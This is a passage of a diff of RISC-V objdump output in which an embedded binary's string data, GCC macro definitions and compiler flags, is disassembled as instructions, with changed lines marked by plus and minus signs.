+    49ca:	454c                	lw	a1,12(a0)
+    49cc:	5341                	li	t1,-16
+    49ce:	3854                	fld	fa3,176(s0)
+    49d0:	575f 4449 4854      	0x48544449575f
+    49d6:	5f5f 3820 5f00      	0x5f0038205f5f
+    49dc:	475f 554e 5f43      	0x5f43554e475f
+    49e2:	205f 3031 4f00      	0x4f003031205f
+    49e8:	535f 4145 4352      	0x43524145535f
+    49ee:	2048                	fld	fa0,128(s0)
+    49f0:	465f 5845 4345      	0x43455845465f
+    49f6:	48435253          	0x48435253
+    49fa:	5f00                	lw	s0,56(a4)
+    49fc:	6f68                	flw	fa0,92(a4)
+    49fe:	6e616d77          	0x6e616d77
+    4a02:	2879                	jal	4aa0 <__stack_size+0x42a0>
+    4a04:	2c78                	fld	fa4,216(s0)
+    4a06:	2979                	jal	4ea4 <__stack_size+0x46a4>
+    4a08:	2820                	fld	fs0,80(s0)
+    4a0a:	2828                	fld	fa0,80(s0)
+    4a0c:	2978                	fld	fa4,208(a0)
+    4a0e:	7928282b          	0x7928282b
+    4a12:	2d29                	jal	502c <__stack_size+0x482c>
+    4a14:	2931                	jal	4e30 <__stack_size+0x4630>
+    4a16:	2f29                	jal	5130 <__stack_size+0x4930>
+    4a18:	7928                	flw	fa0,112(a0)
+    4a1a:	2929                	jal	4e34 <__stack_size+0x4634>
+    4a1c:	5f00                	lw	s0,56(a4)
+    4a1e:	495f 544e 465f      	0x465f544e495f
+    4a24:	5341                	li	t1,-16
+    4a26:	3154                	fld	fa3,160(a0)
+    4a28:	5f36                	lw	t5,108(sp)
+    4a2a:	5954                	lw	a3,52(a0)
+    4a2c:	4550                	lw	a2,12(a0)
+    4a2e:	5f5f 6920 746e      	0x746e69205f5f
+    4a34:	5300                	lw	s0,32(a4)
+    4a36:	495f 4453 5249      	0x52494453495f
+    4a3c:	6d28                	flw	fa0,88(a0)
+    4a3e:	2029                	jal	4a48 <__stack_size+0x4248>
+    4a40:	2828                	fld	fa0,80(s0)
+    4a42:	6d28                	flw	fa0,88(a0)
+    4a44:	2629                	jal	4d4e <__stack_size+0x454e>
+    4a46:	495f 4d46 2954      	0x29544d46495f
+    4a4c:	3d20                	fld	fs0,120(a0)
+    4a4e:	203d                	jal	4a7c <__stack_size+0x427c>
+    4a50:	495f 4446 5249      	0x52494446495f
+    4a56:	0029                	c.nop	10
+    4a58:	535f 5f43 5f32      	0x5f325f43535f
+    4a5e:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
+    4a62:	545f 5245 204d      	0x204d5245545f
+    4a68:	3031                	jal	4274 <__stack_size+0x3a74>
+    4a6a:	535f0037          	lui	zero,0x535f0
+    4a6e:	5f325f43          	fmadd.q	ft10,ft4,fs3,fa1,unknown
+    4a72:	4f4c                	lw	a1,28(a4)
+    4a74:	454c4143          	0x454c4143
+    4a78:	4544                	lw	s1,12(a0)
+    4a7a:	2046                	fld	ft0,80(sp)
+    4a7c:	3131                	jal	4688 <__stack_size+0x3e88>
+    4a7e:	0032                	c.slli	zero,0xc
+    4a80:	5f5f 4e49 5f54      	0x5f544e495f5f
+    4a86:	454c                	lw	a1,12(a0)
+    4a88:	5341                	li	t1,-16
+    4a8a:	3354                	fld	fa3,160(a4)
+    4a8c:	5f32                	lw	t5,44(sp)
+    4a8e:	54444957          	0x54444957
+    4a92:	5f48                	lw	a0,60(a4)
+    4a94:	205f 3233 4d00      	0x4d003233205f
+    4a9a:	5841                	li	a6,-16
+    4a9c:	495f 504e 5455      	0x5455504e495f
+    4aa2:	3220                	fld	fs0,96(a2)
+    4aa4:	3535                	jal	48d0 <__stack_size+0x40d0>
+    4aa6:	4f00                	lw	s0,24(a4)
+    4aa8:	525f 4f44 4c4e      	0x4c4e4f44525f
+    4aae:	2059                	jal	4b34 <__stack_size+0x4334>
+    4ab0:	0030                	addi	a2,sp,8
+    4ab2:	5f5f 6773 7465      	0x746567735f5f
+    4ab8:	61725f63          	bge	tp,s7,50d6 <__stack_size+0x48d6>
+    4abc:	28725f77          	0x28725f77
+    4ac0:	5f5f 7470 2c72      	0x2c7274705f5f
+    4ac6:	5f5f 2966 2820      	0x282029665f5f
+    4acc:	2d2d                	jal	5106 <__stack_size+0x4906>
+    4ace:	5f28                	lw	a0,120(a4)
+    4ad0:	665f 2d29 5f3e      	0x5f3e2d29665f
+    4ad6:	2072                	fld	ft0,280(sp)
+    4ad8:	203c                	fld	fa5,64(s0)
+    4ada:	2030                	fld	fa2,64(s0)
+    4adc:	5f5f203f 65677273 	0x656772735f5f203f
+    4ae4:	5f74                	lw	a3,124(a4)
+    4ae6:	2872                	fld	fa6,280(sp)
+    4ae8:	5f5f 7470 2c72      	0x2c7274705f5f
+    4aee:	5f20                	lw	s0,120(a4)
+    4af0:	665f 2029 203a      	0x203a2029665f
+    4af6:	6928                	flw	fa0,80(a0)
+    4af8:	746e                	flw	fs0,248(sp)
+    4afa:	2829                	jal	4b14 <__stack_size+0x4314>
+    4afc:	282a                	fld	fa6,136(sp)
+    4afe:	5f5f 2966 3e2d      	0x3e2d29665f5f
+    4b04:	705f 2b2b 2929      	0x29292b2b705f
+    4b0a:	5f00                	lw	s0,56(a4)
+    4b0c:	5942                	lw	s2,48(sp)
+    4b0e:	4554                	lw	a3,12(a0)
+    4b10:	4f5f 4452 5245      	0x524544524f5f
+    4b16:	5f20                	lw	s0,120(a4)
+    4b18:	494c                	lw	a1,20(a0)
+    4b1a:	5454                	lw	a3,44(s0)
+    4b1c:	454c                	lw	a1,12(a0)
+    4b1e:	455f 444e 4149      	0x4149444e455f
+    4b24:	004e                	c.slli	zero,0x13
+    4b26:	5f5f 4c46 3154      	0x31544c465f5f
+    4b2c:	3832                	fld	fa6,296(sp)
+    4b2e:	485f 5341 445f      	0x445f5341485f
+    4b34:	4e45                	li	t3,17
+    4b36:	5f4d524f          	fnmadd.q	ft4,fs10,fs4,fa1,unknown
+    4b3a:	205f 0031 5f5f      	0x5f5f0031205f
+    4b40:	455a4953          	0x455a4953
+    4b44:	575f464f          	fnmadd.q	fa2,ft10,fs5,fa0,rmm
+    4b48:	4e49                	li	t3,18
+    4b4a:	5f54                	lw	a3,60(a4)
+    4b4c:	5f54                	lw	a3,60(a4)
+    4b4e:	205f 0034 5047      	0x50470034205f
+    4b54:	4f49                	li	t5,18
+    4b56:	4c5f 574f 495f      	0x495f574f4c5f
+    4b5c:	2050                	fld	fa2,128(s0)
+    4b5e:	7830                	flw	fa2,112(s0)
+    4b60:	50003433          	0x50003433
+    4b64:	4854                	lw	a3,20(s0)
+    4b66:	4552                	lw	a0,20(sp)
+    4b68:	4441                	li	s0,16
+    4b6a:	435f 4552 5441      	0x54414552435f
+    4b70:	5f45                	li	t5,-15
+    4b72:	4544                	lw	s1,12(a0)
+    4b74:	4154                	lw	a3,4(a0)
+    4b76:	44454843          	0x44454843
+    4b7a:	3020                	fld	fs0,96(s0)
+    4b7c:	5000                	lw	s0,32(s0)
+    4b7e:	4854                	lw	a3,20(s0)
+    4b80:	4552                	lw	a0,20(sp)
+    4b82:	4441                	li	s0,16
+    4b84:	535f 4f43 4550      	0x45504f43535f
+    4b8a:	535f 5359 4554      	0x45545359535f
+    4b90:	204d                	jal	4c32 <__stack_size+0x4432>
+    4b92:	0031                	c.nop	12
+    4b94:	4e49                	li	t3,18
+    4b96:	5f54                	lw	a3,60(a4)
+    4b98:	4146                	lw	sp,80(sp)
+    4b9a:	5f385453          	0x5f385453
+    4b9e:	494d                	li	s2,19
+    4ba0:	004e                	c.slli	zero,0x13
+    4ba2:	465f 414d 4b52      	0x4b52414d465f
+    4ba8:	3020                	fld	fs0,96(s0)
+    4baa:	3078                	fld	fa4,224(s0)
+    4bac:	3130                	fld	fa2,96(a0)
+    4bae:	0030                	addi	a2,sp,8
+    4bb0:	505f 5f43 5f32      	0x5f325f43505f
+    4bb6:	4c4d5953          	0x4c4d5953
+    4bba:	4e49                	li	t3,18
+    4bbc:	3120534b          	fnmsub.s	ft6,ft0,fs2,ft6,unknown
+    4bc0:	475f0033          	0x475f0033
+    4bc4:	535f4343          	fmadd.d	ft6,ft10,fs5,fa0,rmm
+    4bc8:	5a49                	li	s4,-14
+    4bca:	5f45                	li	t5,-15
+    4bcc:	2054                	fld	fa3,128(s0)
+    4bce:	5f00                	lw	s0,56(a4)
+    4bd0:	465f 544c 3436      	0x3436544c465f
+    4bd6:	5f58                	lw	a4,60(a4)
+    4bd8:	494d                	li	s2,19
+    4bda:	5f4e                	lw	t5,240(sp)
+    4bdc:	205f 2e33 3633      	0x36332e33205f
+    4be2:	3132                	fld	ft2,296(sp)
+    4be4:	3330                	fld	fa2,96(a4)
+    4be6:	3431                	jal	45f2 <__stack_size+0x3df2>
+    4be8:	32313133          	0x32313133
+    4bec:	3930                	fld	fa2,112(a0)
+    4bee:	36303533          	0x36303533
+    4bf2:	3632                	fld	fa2,296(sp)
+    4bf4:	3632                	fld	fa2,296(sp)
+    4bf6:	31383737          	lui	a4,0x31383
+    4bfa:	31323337          	lui	t1,0x31323
+    4bfe:	36323537          	lui	a0,0x36323
+    4c02:	6530                	flw	fa2,72(a0)
+    4c04:	342d                	jal	462e <__stack_size+0x3e2e>
+    4c06:	3339                	jal	4914 <__stack_size+0x4114>
+    4c08:	4632                	lw	a2,12(sp)
+    4c0a:	3436                	fld	fs0,360(sp)
+    4c0c:	0078                	addi	a4,sp,12
+    4c0e:	5f5f 4e49 5f54      	0x5f544e495f5f
+    4c14:	414d                	li	sp,19
+    4c16:	5f58                	lw	a4,60(a4)
+    4c18:	205f 7830 6637      	0x66377830205f
+    4c1e:	6666                	flw	fa2,88(sp)
+    4c20:	6666                	flw	fa2,88(sp)
+    4c22:	6666                	flw	fa2,88(sp)
+    4c24:	4700                	lw	s0,8(a4)
+    4c26:	4950                	lw	a2,20(a0)
+    4c28:	41465f4f          	fnmadd.s	ft10,fa2,fs4,fs0,unknown
+    4c2c:	4c4c                	lw	a1,28(s0)
+    4c2e:	495f 2050 7830      	0x78302050495f
+    4c34:	3432                	fld	fs0,296(sp)
+    4c36:	5f00                	lw	s0,56(a4)
+    4c38:	475f 5858 415f      	0x415f5858475f
+    4c3e:	4942                	lw	s2,16(sp)
+    4c40:	565f 5245 4953      	0x49535245565f
+    4c46:	31204e4f          	fnmadd.s	ft8,ft0,fs2,ft6,rmm
+    4c4a:	3130                	fld	fa2,96(a0)
+    4c4c:	0034                	addi	a3,sp,8
+    4c4e:	5f5f 4e49 5f54      	0x5f544e495f5f
+    4c54:	454c                	lw	a1,12(a0)
+    4c56:	5341                	li	t1,-16
+    4c58:	3854                	fld	fa3,176(s0)
+    4c5a:	545f 5059 5f45      	0x5f455059545f
+    4c60:	205f 6973 6e67      	0x6e676973205f
+    4c66:	6465                	lui	s0,0x19
+    4c68:	6320                	flw	fs0,64(a4)
+    4c6a:	6168                	flw	fa0,68(a0)
+    4c6c:	0072                	c.slli	zero,0x1c
+    4c6e:	5f46                	lw	t5,112(sp)
+    4c70:	434c5257          	0x434c5257
+    4c74:	0032204b          	fnmsub.s	ft0,ft4,ft3,ft0,rdn
+    4c78:	435f 4f4c 4b43      	0x4b434f4c435f
+    4c7e:	4449                	li	s0,18
+    4c80:	545f 445f 4345      	0x4345445f545f
+    4c86:	414c                	lw	a1,4(a0)
+    4c88:	4552                	lw	a0,20(sp)
+    4c8a:	2044                	fld	fs1,128(s0)
+    4c8c:	4c00                	lw	s0,24(s0)
+    4c8e:	4f4c                	lw	a1,28(a4)
+    4c90:	474e                	lw	a4,208(sp)
+    4c92:	4d5f 4e49 4e00      	0x4e004e494d5f
+    4c98:	4446                	lw	s0,80(sp)
+    4c9a:	4942                	lw	s2,16(sp)
+    4c9c:	5354                	lw	a3,36(a4)
+    4c9e:	2820                	fld	fs0,80(s0)
+    4ca0:	657a6973          	csrrsi	s2,0x657,20
+    4ca4:	2820666f          	jal	a2,af26 <__stack_size+0xa726>
+    4ca8:	6466                	flw	fs0,88(sp)
+    4caa:	6d5f 7361 296b      	0x296b73616d5f
+    4cb0:	2a20                	fld	fs0,80(a2)
+    4cb2:	3820                	fld	fs0,112(s0)
+    4cb4:	0029                	c.nop	10
+    4cb6:	465f 424e 4f49      	0x4f49424e465f
+    4cbc:	3020                	fld	fs0,96(s0)
+    4cbe:	3178                	fld	fa4,224(a0)
+    4cc0:	3030                	fld	fa2,96(s0)
+    4cc2:	0030                	addi	a2,sp,8
+    4cc4:	5f5f 444c 4c42      	0x4c42444c5f5f
+    4cca:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
+    4cd0:	3320                	fld	fs0,96(a4)
+    4cd2:	332e                	fld	ft6,232(sp)
+    4cd4:	3236                	fld	ft4,360(sp)
+    4cd6:	3031                	jal	44e2 <__stack_size+0x3ce2>
+    4cd8:	33343133          	0x33343133
+    4cdc:	3131                	jal	48e8 <__stack_size+0x40e8>
+    4cde:	3032                	fld	ft0,296(sp)
+    4ce0:	3339                	jal	49ee <__stack_size+0x41ee>
+    4ce2:	3035                	jal	450e <__stack_size+0x3d0e>
+    4ce4:	3236                	fld	ft4,360(sp)
+    4ce6:	3236                	fld	ft4,360(sp)
+    4ce8:	3736                	fld	fa4,360(sp)
+    4cea:	37313837          	lui	a6,0x37313
+    4cee:	37313233          	0x37313233
+    4cf2:	3235                	jal	461e <__stack_size+0x3e1e>
+    4cf4:	3036                	fld	ft0,360(sp)
+    4cf6:	2d65                	jal	53ae <__stack_size+0x4bae>
+    4cf8:	3934                	fld	fa3,112(a0)
+    4cfa:	004c3233          	sltu	tp,s8,tp
+    4cfe:	505f 534f 5849      	0x5849534f505f
+    4d04:	5f32                	lw	t5,44(sp)
+    4d06:	4552                	lw	a0,20(sp)
+    4d08:	445f 5055 4d5f      	0x4d5f5055445f
+    4d0e:	5841                	li	a6,-16
+    4d10:	3220                	fld	fs0,96(a2)
+    4d12:	3535                	jal	4b3e <__stack_size+0x433e>
+    4d14:	5f00                	lw	s0,56(a4)
+    4d16:	465f 544c 455f      	0x455f544c465f
+    4d1c:	4156                	lw	sp,84(sp)
+    4d1e:	5f4c                	lw	a1,60(a4)
+    4d20:	454d                	li	a0,19
+    4d22:	4854                	lw	a3,20(s0)
+    4d24:	5f5f444f          	fnmadd.q	fs0,ft10,fs5,fa1,rmm
+    4d28:	3020                	fld	fs0,96(s0)
+    4d2a:	5f00                	lw	s0,56(a4)
+    4d2c:	735f 7274 6e6f      	0x6e6f7274735f
+    4d32:	65725f67          	0x65725f67
+    4d36:	6566                	flw	fa0,88(sp)
+    4d38:	6572                	flw	fa0,28(sp)
+    4d3a:	636e                	flw	ft6,216(sp)
+    4d3c:	2865                	jal	4df4 <__stack_size+0x45f4>
+    4d3e:	2c6d7973          	csrrci	s2,0x2c6,26
+    4d42:	6c61                	lui	s8,0x18
+    4d44:	6169                	addi	sp,sp,208
+    4d46:	6d797373          	csrrci	t1,0x6d7,18
+    4d4a:	2029                	jal	4d54 <__stack_size+0x4554>
+    4d4c:	7865                	lui	a6,0xffff9
+    4d4e:	6574                	flw	fa3,76(a0)
+    4d50:	6e72                	flw	ft8,28(sp)
+    4d52:	5f20                	lw	s0,120(a4)
+    4d54:	745f 7079 6f65      	0x6f657079745f
+    4d5a:	2066                	fld	ft0,88(sp)
+    4d5c:	7328                	flw	fa0,96(a4)
+    4d5e:	6d79                	lui	s10,0x1e
+    4d60:	2029                	jal	4d6a <__stack_size+0x456a>
+    4d62:	6c61                	lui	s8,0x18
+    4d64:	6169                	addi	sp,sp,208
+    4d66:	6d797373          	csrrci	t1,0x6d7,18
+    4d6a:	5f20                	lw	s0,120(a4)
+    4d6c:	615f 7474 6972      	0x69727474615f
+    4d72:	7562                	flw	fa0,56(sp)
+    4d74:	6574                	flw	fa3,76(a0)
+    4d76:	5f5f 2820 5f28      	0x5f2828205f5f
+    4d7c:	615f 696c 7361      	0x7361696c615f
+    4d82:	5f5f 2820 7323      	0x732328205f5f
+    4d88:	6d79                	lui	s10,0x1e
+    4d8a:	2929                	jal	51a4 <__stack_size+0x49a4>
+    4d8c:	0029                	c.nop	10
+    4d8e:	5f5f 4957 544e      	0x544e49575f5f
+    4d94:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
+    4d9a:	3020                	fld	fs0,96(s0)
+    4d9c:	0055                	c.nop	21
+    4d9e:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
+    4da2:	484d                	li	a6,19
+    4da4:	4d50                	lw	a2,28(a0)
+    4da6:	4e554f43          	fmadd.q	ft10,fa0,ft5,fs1,rmm
+    4daa:	4554                	lw	a3,12(a0)
+    4dac:	3452                	fld	fs0,304(sp)
+    4dae:	3120                	fld	fs0,96(a0)
+    4db0:	0036                	c.slli	zero,0xd
+    4db2:	5f5f 4e49 3854      	0x38544e495f5f
+    4db8:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    4dbe:	3020                	fld	fs0,96(s0)
+    4dc0:	3778                	fld	fa4,232(a4)
+    4dc2:	0066                	c.slli	zero,0x19
+    4dc4:	7845                	lui	a6,0xffff1
+    4dc6:	6c70                	flw	fa2,92(s0)
+    4dc8:	6369                	lui	t1,0x1a
+    4dca:	7469                	lui	s0,0xffffa
+    4dcc:	7246                	flw	ft4,112(sp)
+    4dce:	6565                	lui	a0,0x19
+    4dd0:	5f00                	lw	s0,56(a4)
+    4dd2:	495f 544e 4c5f      	0x4c5f544e495f
+    4dd8:	4145                	li	sp,17
+    4dda:	32335453          	0x32335453
+    4dde:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    4de4:	3020                	fld	fs0,96(s0)
+    4de6:	3778                	fld	fa4,232(a4)
+    4de8:	6666                	flw	fa2,88(sp)
+    4dea:	6666                	flw	fa2,88(sp)
+    4dec:	6666                	flw	fa2,88(sp)
+    4dee:	4c66                	lw	s8,88(sp)
+    4df0:	4600                	lw	s0,8(a2)
+    4df2:	4f4e                	lw	t5,208(sp)
+    4df4:	424e                	lw	tp,208(sp)
+    4df6:	4f4c                	lw	a1,28(a4)
+    4df8:	5f204b43          	fmadd.q	fs6,ft0,fs2,fa1,rmm
+    4dfc:	4e46                	lw	t3,80(sp)
+    4dfe:	4c424e4f          	0x4c424e4f
+    4e02:	004b434f          	fnmadd.s	ft6,fs6,ft4,ft0,rmm
+    4e06:	5f5f 4e47 4355      	0x43554e475f5f
+    4e0c:	494c                	lw	a1,20(a0)
+    4e0e:	425f454b          	fnmsub.d	fa0,ft10,ft5,fs0,rmm
+    4e12:	4955                	li	s2,21
+    4e14:	544c                	lw	a1,44(s0)
+    4e16:	4e49                	li	t3,18
+    4e18:	565f 5241 5241      	0x52415241565f
+    4e1e:	31205347          	fmsub.s	ft6,ft0,fs2,ft6,unknown
+    4e22:	5f00                	lw	s0,56(a4)
+    4e24:	78616d4b          	fnmsub.s	fs10,ft2,ft6,fa5,unknown
+    4e28:	2820                	fld	fs0,80(s0)
+    4e2a:	657a6973          	csrrsi	s2,0x657,20
+    4e2e:	2820666f          	jal	a2,b0b0 <__stack_size+0xa8b0>
+    4e32:	657a6973          	csrrsi	s2,0x657,20
+    4e36:	745f 2029 3c3c      	0x3c3c2029745f
+    4e3c:	3320                	fld	fs0,96(a4)
+    4e3e:	0029                	c.nop	10
+    4e40:	5f5f 5341 4e4d      	0x4e4d53415f5f
+    4e46:	4d41                	li	s10,16
+    4e48:	2845                	jal	4ef8 <__stack_size+0x46f8>
+    4e4a:	6d616e63          	bltu	sp,s6,5526 <__stack_size+0x4d26>
+    4e4e:	2965                	jal	5306 <__stack_size+0x4b06>
+    4e50:	5f20                	lw	s0,120(a4)
+    4e52:	585f 5453 4952      	0x49525453585f
+    4e58:	474e                	lw	a4,208(sp)
+    4e5a:	2820                	fld	fs0,80(s0)
+    4e5c:	5f5f 5355 5245      	0x524553555f5f
+    4e62:	4c5f 4241 4c45      	0x4c4542414c5f
+    4e68:	505f 4552 4946      	0x49464552505f
+    4e6e:	5f58                	lw	a4,60(a4)
+    4e70:	295f 6320 616e      	0x616e6320295f
+    4e76:	656d                	lui	a0,0x1b
+    4e78:	5f00                	lw	s0,56(a4)
+    4e7a:	4546                	lw	a0,80(sp)
+    4e7c:	4358                	lw	a4,4(a4)
+    4e7e:	204c                	fld	fa1,128(s0)
+    4e80:	7830                	flw	fa2,112(s0)
+    4e82:	3830                	fld	fa2,112(s0)
+    4e84:	3030                	fld	fa2,96(s0)
+    4e86:	5f00                	lw	s0,56(a4)
+    4e88:	5f5f 6e69 5f74      	0x5f746e695f5f
+    4e8e:	656c                	flw	fa1,76(a0)
+    4e90:	7361                	lui	t1,0xffff8
+    4e92:	3174                	fld	fa3,224(a0)
     4e94:	5f36                	lw	t5,108(sp)
-    4e96:	414d                	li	sp,19
-    4e98:	5f58                	lw	a4,60(a4)
-    4e9a:	205f 7830 6666      	0x66667830205f
-    4ea0:	6666                	flw	fa2,88(sp)
-    4ea2:	6666                	flw	fa2,88(sp)
-    4ea4:	6666                	flw	fa2,88(sp)
-    4ea6:	0055                	c.nop	21
-    4ea8:	5f5f 4955 544e      	0x544e49555f5f
-    4eae:	465f 5341 3654      	0x36545341465f
-    4eb4:	5f34                	lw	a3,120(a4)
-    4eb6:	5954                	lw	a3,52(a0)
-    4eb8:	4550                	lw	a2,12(a0)
-    4eba:	5f5f 6c20 6e6f      	0x6e6f6c205f5f
-    4ec0:	6f6c2067          	0x6f6c2067
-    4ec4:	676e                	flw	fa4,216(sp)
-    4ec6:	7520                	flw	fs0,104(a0)
-    4ec8:	736e                	flw	ft6,248(sp)
-    4eca:	6769                	lui	a4,0x1a
-    4ecc:	656e                	flw	fa0,216(sp)
-    4ece:	2064                	fld	fs1,192(s0)
-    4ed0:	6e69                	lui	t3,0x1a
-    4ed2:	0074                	addi	a3,sp,12
-    4ed4:	4d44                	lw	s1,28(a0)
-    4ed6:	5f41                	li	t5,-16
-    4ed8:	455f4843          	0x455f4843
-    4edc:	414e                	lw	sp,208(sp)
-    4ede:	4c42                	lw	s8,16(sp)
-    4ee0:	5f45                	li	t5,-15
-    4ee2:	2046464f          	fnmadd.s	fa2,fa2,ft4,ft4,rmm
-    4ee6:	7830                	flw	fa2,112(s0)
-    4ee8:	5f003433          	0x5f003433
-    4eec:	4c5f4353          	0x4c5f4353
-    4ef0:	4e49                	li	t3,18
-    4ef2:	5f45                	li	t5,-15
-    4ef4:	414d                	li	sp,19
-    4ef6:	2058                	fld	fa4,128(s0)
-    4ef8:	3836                	fld	fa6,360(sp)
-    4efa:	5f00                	lw	s0,56(a4)
-    4efc:	4552                	lw	a0,20(sp)
-    4efe:	4e45                	li	t3,17
-    4f00:	5f54                	lw	a3,60(a4)
-    4f02:	4152                	lw	sp,20(sp)
-    4f04:	444e                	lw	s0,208(sp)
-    4f06:	4e5f 5845 2854      	0x285458454e5f
-    4f0c:	7470                	flw	fa2,108(s0)
-    4f0e:	2972                	fld	fs2,280(sp)
-    4f10:	2820                	fld	fs0,80(s0)
-    4f12:	7028                	flw	fa0,96(s0)
-    4f14:	7274                	flw	fa3,100(a2)
-    4f16:	2d29                	jal	5530 <__stack_size+0x4d30>
-    4f18:	5f3e                	lw	t5,236(sp)
-    4f1a:	656e                	flw	fa0,216(sp)
-    4f1c:	725f2e77          	0x725f2e77
-    4f20:	6565                	lui	a0,0x19
-    4f22:	746e                	flw	fs0,248(sp)
-    4f24:	5f2e                	lw	t5,232(sp)
-    4f26:	6172                	flw	ft2,28(sp)
-    4f28:	646e                	flw	fs0,216(sp)
-    4f2a:	6e5f 7865 2974      	0x297478656e5f
-    4f30:	4c00                	lw	s0,24(s0)
-    4f32:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
-    4f36:	414d                	li	sp,19
-    4f38:	2058                	fld	fa4,128(s0)
-    4f3a:	5f5f 4f4c 474e      	0x474e4f4c5f5f
-    4f40:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    4e96:	5f74                	lw	a3,124(a4)
+    4e98:	6564                	flw	fs1,76(a0)
+    4e9a:	6966                	flw	fs2,88(sp)
+    4e9c:	656e                	flw	fa0,216(sp)
+    4e9e:	2064                	fld	fs1,192(s0)
+    4ea0:	0031                	c.nop	12
+    4ea2:	4b454553          	0x4b454553
+    4ea6:	455f 444e 3220      	0x3220444e455f
+    4eac:	4700                	lw	s0,8(a4)
+    4eae:	554e                	lw	a0,240(sp)
+    4eb0:	4320                	lw	s0,64(a4)
+    4eb2:	3731                	jal	4dbe <__stack_size+0x45be>
+    4eb4:	3120                	fld	fs0,96(a0)
+    4eb6:	2e30                	fld	fa2,88(a2)
+    4eb8:	2e31                	jal	51d4 <__stack_size+0x49d4>
+    4eba:	2030                	fld	fa2,64(s0)
+    4ebc:	6d2d                	lui	s10,0xb
+    4ebe:	7261                	lui	tp,0xffff8
+    4ec0:	723d6863          	bltu	s10,gp,55f0 <__stack_size+0x4df0>
+    4ec4:	3376                	fld	ft6,376(sp)
+    4ec6:	6932                	flw	fs2,12(sp)
+    4ec8:	616d                	addi	sp,sp,240
+    4eca:	6d2d2063          	0x6d2d2063
+    4ece:	6261                	lui	tp,0x18
+    4ed0:	3d69                	jal	4d6a <__stack_size+0x456a>
+    4ed2:	6c69                	lui	s8,0x1a
+    4ed4:	3370                	fld	fa2,224(a4)
+    4ed6:	2032                	fld	ft0,264(sp)
+    4ed8:	6d2d                	lui	s10,0xb
+    4eda:	646f6d63          	bltu	t5,t1,5534 <__stack_size+0x4d34>
+    4ede:	6c65                	lui	s8,0x19
+    4ee0:	6d3d                	lui	s10,0xf
+    4ee2:	6465                	lui	s0,0x19
+    4ee4:	6e61                	lui	t3,0x18
+    4ee6:	2079                	jal	4f74 <__stack_size+0x4774>
+    4ee8:	6d2d                	lui	s10,0xb
+    4eea:	6c616d73          	csrrsi	s10,0x6c6,2
+    4eee:	2d6c                	fld	fa1,216(a0)
+    4ef0:	6164                	flw	fs1,68(a0)
+    4ef2:	6174                	flw	fa3,68(a0)
+    4ef4:	6c2d                	lui	s8,0xb
+    4ef6:	6d69                	lui	s10,0x1a
+    4ef8:	7469                	lui	s0,0xffffa
+    4efa:	203d                	jal	4f28 <__stack_size+0x4728>
+    4efc:	2038                	fld	fa4,64(s0)
+    4efe:	6d2d                	lui	s10,0xb
+    4f00:	7574                	flw	fa3,108(a0)
+    4f02:	656e                	flw	fa0,216(sp)
+    4f04:	723d                	lui	tp,0xfffef
+    4f06:	656b636f          	jal	t1,bb55c <__stack_size+0xbad5c>
+    4f0a:	2074                	fld	fa3,192(s0)
+    4f0c:	672d                	lui	a4,0xb
+    4f0e:	4f2d2033          	0x4f2d2033
+    4f12:	662d2073          	csrs	0x662,s10
+    4f16:	7566                	flw	fa0,120(sp)
+    4f18:	636e                	flw	ft6,216(sp)
+    4f1a:	6974                	flw	fa3,84(a0)
+    4f1c:	732d6e6f          	jal	t3,db64e <__stack_size+0xdae4e>
+    4f20:	6365                	lui	t1,0x19
+    4f22:	6974                	flw	fa3,84(a0)
+    4f24:	20736e6f          	jal	t3,3b92a <__stack_size+0x3b12a>
+    4f28:	662d                	lui	a2,0xb
+    4f2a:	6164                	flw	fs1,68(a0)
+    4f2c:	6174                	flw	fa3,68(a0)
+    4f2e:	732d                	lui	t1,0xfffeb
+    4f30:	6365                	lui	t1,0x19
+    4f32:	6974                	flw	fa3,84(a0)
+    4f34:	20736e6f          	jal	t3,3b93a <__stack_size+0x3b13a>
+    4f38:	662d                	lui	a2,0xb
+    4f3a:	7266                	flw	ft4,120(sp)
+    4f3c:	6565                	lui	a0,0x19
+    4f3e:	6e617473          	csrrci	s0,0x6e6,2
+    4f42:	6964                	flw	fs1,84(a0)
+    4f44:	676e                	flw	fa4,216(sp)
     4f46:	5f00                	lw	s0,56(a4)
-    4f48:	6c5f 636f 736b      	0x736b636f6c5f
-    4f4e:	735f 6168 6572      	0x65726168735f
-    4f54:	2864                	fld	fs1,208(s0)
-    4f56:	2e2e                	fld	ft8,200(sp)
-    4f58:	292e                	fld	fs2,200(sp)
-    4f5a:	5f20                	lw	s0,120(a4)
-    4f5c:	6c5f 636f 5f6b      	0x5f6b636f6c5f
-    4f62:	6e61                	lui	t3,0x18
-    4f64:	6f6e                	flw	ft10,216(sp)
-    4f66:	6174                	flw	fa3,68(a0)
-    4f68:	6574                	flw	fa3,76(a0)
-    4f6a:	7328                	flw	fa0,96(a4)
-    4f6c:	6168                	flw	fa0,68(a0)
-    4f6e:	6572                	flw	fa0,28(sp)
-    4f70:	5f64                	lw	s1,124(a4)
-    4f72:	6f6c                	flw	fa1,92(a4)
-    4f74:	665f6b63          	bltu	t5,t0,55ea <__stack_size+0x4dea>
-    4f78:	6e75                	lui	t3,0x1d
-    4f7a:	6f697463          	bgeu	s2,s6,5662 <__stack_size+0x4e62>
-    4f7e:	286e                	fld	fa6,216(sp)
-    4f80:	5f5f 4156 415f      	0x415f41565f5f
-    4f86:	4752                	lw	a4,20(sp)
-    4f88:	295f5f53          	0x295f5f53
-    4f8c:	0029                	c.nop	10
-    4f8e:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
-    4f92:	534d                	li	t1,-13
-    4f94:	4154                	lw	a3,4(a0)
-    4f96:	5554                	lw	a3,44(a0)
-    4f98:	00302053          	fadd.s	ft0,ft0,ft3,rdn
-    4f9c:	636d                	lui	t1,0x1b
-    4f9e:	7561                	lui	a0,0xffff8
-    4fa0:	5f006573          	csrrsi	a0,0x5f0,0
-    4fa4:	585f4353          	0x585f4353
-    4fa8:	5342                	lw	t1,48(sp)
-    4faa:	5f35                	li	t5,-19
-    4fac:	504c                	lw	a1,36(s0)
-    4fae:	4942                	lw	s2,16(sp)
-    4fb0:	464f5f47          	fmsub.q	ft10,ft10,ft4,fs0,unknown
-    4fb4:	4246                	lw	tp,80(sp)
